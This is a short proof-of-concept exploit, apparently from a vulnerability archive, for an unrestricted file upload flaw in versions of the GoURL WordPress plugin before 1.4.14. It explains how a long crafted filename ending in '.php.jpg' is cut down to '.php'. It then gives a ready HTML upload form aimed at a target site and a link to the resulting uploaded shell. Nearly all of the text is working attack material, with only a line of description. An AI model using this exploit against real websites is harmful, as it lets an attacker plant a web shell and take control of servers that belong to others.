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GoURL.io before 1.4.14 Shell upload vulnerability
<html>
<!--
GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi
CWE-434
Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637
Details:
After checking file extention substring was used for file name to select first 95 letter line #5655
So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg"
will upload a file with .php extention in website :)
-->
<body>
<!--
Replace http://127.0.0.1/wp/ with target wordpress website
Fill id param in form action to any active download product
-->
<form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data">
<input type="file" name="gourlimage2" />
<input type="submit"/>
</form>
<a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a>
</body>
</html>
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